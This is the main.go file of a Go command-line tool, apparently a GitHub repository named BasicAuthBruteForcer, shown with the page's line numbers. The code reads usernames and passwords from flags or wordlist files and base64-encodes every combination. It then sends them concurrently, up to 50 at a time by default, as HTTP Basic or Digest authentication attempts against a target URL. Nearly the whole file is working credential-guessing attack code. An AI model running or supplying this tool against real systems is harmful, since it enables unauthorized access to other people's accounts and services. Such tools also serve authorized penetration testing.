-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.go
More file actions
98 lines (94 loc) · 3.03 KB
/
main.go
File metadata and controls
98 lines (94 loc) · 3.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package main
import (
"fmt"
"os"
"flag"
"sync"
"github.com/itssherwin/BasicAuthBruteForcer/scripts"
"github.com/fatih/color"
)
func main() {
var wg sync.WaitGroup
fmt.Println()
flag.Usage = lib.Usage
_URL := flag.String("url", "", "url")
_user := flag.String("user", "", "user to test")
_passwd := flag.String("passwd", "", "Password to test")
_userFile := flag.String("user-file", "", "Users File Contains usernames to test")
_passwdFile := flag.String("passwd-file", "", "Password File Contains passwords to test")
_timeout := flag.Int("timeout", 10, "Http Connection Timeout")
_authType := flag.String("auth-type", "basic", "Authentication type: basic or digest")
_threads := flag.Int("threads", 50, "Number of concurrent threads (goroutines)")
flag.Parse()
timeout := *_timeout
threads := *_threads
URL, errURL := lib.CheckFlag(*_URL)
if errURL != nil{
lib.PrintFailed(fmt.Sprintf("-url"), errURL.Error(), false, true)
fmt.Println()
os.Exit(0)
}else{
CYAN := color.New(color.FgCyan, color.Bold).SprintFunc()
lib.PrintStatus("URL", CYAN(URL), false, true)
}
user, erru := lib.CheckFlag(*_user)
passwd, errp := lib.CheckFlag(*_passwd)
userFile, erruf := lib.CheckFlag(*_userFile)
passwdFile, errpf := lib.CheckFlag(*_passwdFile)
if erru != nil && erruf != nil {
red := color.New(color.FgRed, color.Bold).SprintFunc()
yellow := color.New(color.FgYellow, color.Bold).SprintFunc()
lib.PrintFailed(fmt.Sprintf("-user %s %s", red("OR"), yellow("-user-file")), erru.Error(), false, true)
fmt.Println()
os.Exit(0)
}
if errp != nil && errpf != nil {
red := color.New(color.FgRed, color.Bold).SprintFunc()
yellow := color.New(color.FgYellow, color.Bold).SprintFunc()
lib.PrintFailed(fmt.Sprintf("-passwd %s %s", red("OR"), yellow("-passwd-file")), errp.Error(), false, true)
fmt.Println()
os.Exit(0)
}
users, passwords, ALL := []string{}, []string{}, []string{}
if user != ""{
lib.PrintStatus("user", user, false, true)
users = append(users, user)
}
if userFile != ""{
if !lib.IsExists(userFile){
lib.PrintFailed(fmt.Sprintf("%s", userFile), "No such file", false, true)
fmt.Println()
os.Exit(0)
}
lib.PrintStatus(userFile, lib.ByteFormat(float64(lib.Info(userFile)), 1), false, true)
users = lib.ReadFile(userFile)
}
if passwd != ""{
lib.PrintStatus("password", passwd, false, true)
passwords = append(passwords, passwd)
}
if passwdFile != ""{
if !lib.IsExists(passwdFile){
lib.PrintFailed(fmt.Sprintf("%s", passwdFile), "No such file", false, true)
fmt.Println()
os.Exit(0)
}
lib.PrintStatus(passwdFile, lib.ByteFormat(float64(lib.Info(passwdFile)), 1), false, true)
passwords = lib.ReadFile(passwdFile)
}
for _, u := range users{
for _, p := range passwords {
ALL = append(ALL, lib.Base64Encode(fmt.Sprintf("%s:%s", u,p)))
}
}
NEW := lib.SplitSlice(ALL, threads)
fmt.Println()
// fmt.Println(len(ALL), len(NEW[0]))
for _, SLICE := range NEW{
for _, enc := range SLICE{
wg.Add(1)
go lib.SendHTTPRequestWithAuthType(URL, enc, &wg, timeout, *_authType)
}
wg.Wait()
}
}